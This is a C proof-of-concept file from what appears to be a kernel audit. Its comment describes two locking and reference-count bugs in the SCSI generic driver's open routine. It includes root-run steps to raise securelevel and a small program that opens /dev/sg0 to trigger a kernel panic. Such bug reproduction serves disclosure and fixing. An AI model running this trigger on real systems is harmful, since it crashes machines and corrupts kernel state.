DF-1051 / sg_securelevel_panic.c
/* * DF-1051 — sgopen unlocks unheld lock + releases unacquired periph * * Triggerable as root with /dev/sg0 on the audit guest. * * Two distinct bugs in sys/bus/cam/scsi/scsi_sg.c:sgopen(): * * (1) securelevel>1 path at line 395-399 calls * cam_periph_unlock(periph) BEFORE cam_periph_lock() is called * at line 400. lockmgr(LK_RELEASE) on an unowned lock is a * lockmgr violation -> panic under INVARIANTS, silent lock * state corruption otherwise. * * (2) sgopen is missing the cam_periph_acquire(periph) that the * sibling scsi_pt.c:ptopen makes at line 154 BEFORE locking. * Every cam_periph_release() in sgopen (397, 414) and sgclose * (437) drops a refcount that was never acquired, underflowing * periph->refcount (u_int, init 0) -> 0xFFFFFFFF on first call. * * This PoC triggers bug (1) by raising securelevel to 2 then * opening /dev/sg0. Run as root: * * sysctl kern.securelevel=2 * ./sg_securelevel_panic * * Expected output (INVARIANTS kernel, /dev/sg0 open() path): * * panic: lockmgr: LK_RELEASE on unowned lock ... * Stopped at lockmgr+0x...: ... * db> trace * lockmgr() ... * cam_periph_unlock() at cam_sim.c:65 * sgopen() at scsi_sg.c:396 * spec_open() ... * * Bug (2) is observable as a CAM PERIPH allocation leak via * `vmstat -m | grep -i periph` after repeated open/close cycles * (any securelevel, including -1). */ #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> int main(int argc, char **argv) { int fd; const char *dev = (argc > 1) ? argv[1] : "/dev/sg0"; /* * Bug (1) trigger: with securelevel already raised to >1 by the * caller, this open() drives sgopen:395 -> cam_periph_unlock * without a prior lock -> lockmgr panic. */ fd = open(dev, O_RDWR); if (fd >= 0) { /* Should not get here in the securelevel>1 case. */ close(fd); printf("%s: opened %s (no panic; securelevel<=1)\n", argv[0], dev); return 0; } printf("%s: open %s failed: %s\n", argv[0], dev, strerror(errno)); return 1; } |